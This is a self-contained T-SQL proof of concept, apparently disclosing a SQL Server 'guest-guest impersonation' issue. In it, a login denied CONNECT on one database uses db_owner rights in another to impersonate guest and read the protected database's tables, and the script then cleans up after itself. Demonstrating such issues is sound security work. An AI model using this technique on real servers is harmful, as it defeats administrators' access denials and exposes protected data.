Security-issue: guest-guest impersonation

–Login:
CREATE LOGIN Dev0
WITH PASSWORD = ‘Pa$$w0rd’
GO

/* setup DBs*/
create database InternalPublicData;
create database DevelopmentDB;
GO

–Target-DB
use InternalPublicData;
grant connect to guest;

create table t1(c1 int)
insert into t1 values(1)

create table t2(c1 int)
insert into t2 values(2)

GRANT SELECT
ON dbo.t1
TO guest    — and only guest

exec sp_addrolemember ‘db_datareader’, ‘guest’    — just to point out the fact that these guest-accounts are actually different even further

CREATE USER Dev0 FOR LOGIN Dev0    — no memberships, so denied everything and not matching to guest automatically

DENY CONNECT TO Dev0    — to make SURE!

— DB 2
use DevelopmentDB;

CREATE USER Dev0 FOR LOGIN Dev0

EXEC sp_addrolemember N’db_owner’, N’Dev0′
GO

GO

/* Setup finish */

/* Session as Dev0 */

EXECUTE AS LOGIN = ‘Dev0’

— Who and Where am I
SELECT CURRENT_USER AS CURRENT_USER_Name
, SYSTEM_USER AS SYSTEM_USER_Name
, ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name
, DB_NAME() AS Current_Database

use InternalPublicData;    — not possible with Deny Connect

SELECT * FROM t1    — with no Deny Connect he gets denied here

execute as user = ‘guest’;        — he can NOT do this at the remote DB (good so far)

— Part One:

— go back
USE DevelopmentDB

execute as user = ‘guest’;        — not active

grant connect to guest;    — but as a “Dev” with excessive permissions he can do what he wants
exec sp_addrolemember ‘db_datawriter’, ‘guest’    — just so that one can differentiate the guest accounts easier

execute as user = ‘guest’;        — now we are in the game

— Who and Where am I
SELECT CURRENT_USER AS CURRENT_USER_Name
, USER_NAME()    AS DBUser
, SYSTEM_USER AS SYSTEM_USER_Name
, ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name
, DB_NAME() AS Current_Database

select * from sys.user_token;    — now he became guest in DevelopmentDB for real

— End of Part One

— Part Two: using guest for executing as guest

USE InternalPublicData;        — we connected as guest – no Deny for Dev0 applying!!

SELECT CURRENT_USER AS CURRENT_USER_Name
, USER_NAME()    AS DBUser
, SYSTEM_USER AS SYSTEM_USER_Name
, ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name
, DB_NAME() AS Current_Database
select * from sys.user_token;    — he became guest in the remote-DB

SELECT * FROM dbo.t1        — permissions at User(guest)-Level already working!

SELECT * FROM dbo.t2        — not working because permission for role not applying

— BUT: switch to InternalPublicData guest explicitly
execute as user = ‘guest’;        –NOW “Dev0” can do it in the Target-DB

SELECT CURRENT_USER AS CURRENT_USER_Name
, USER_NAME()    AS DBUser
, SYSTEM_USER AS SYSTEM_USER_Name
, ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name
, DB_NAME() AS Current_Database
select * from sys.user_token;    — he became guest with group-membership in Target-DB

SELECT * FROM dbo.t2            — can now also read data through role-membership

— End of Part Two: using guest for executing as guest
/* back off step by step */

USE InternalPublicData
revert;

USE DevelopmentDB
revert;

revert;

USE InternalPublicData
revert;

/* Finished */

USE master;
DROP DATABASE InternalPublicData;
DROP DATABASE DevelopmentDB;
DROP LOGIN Dev0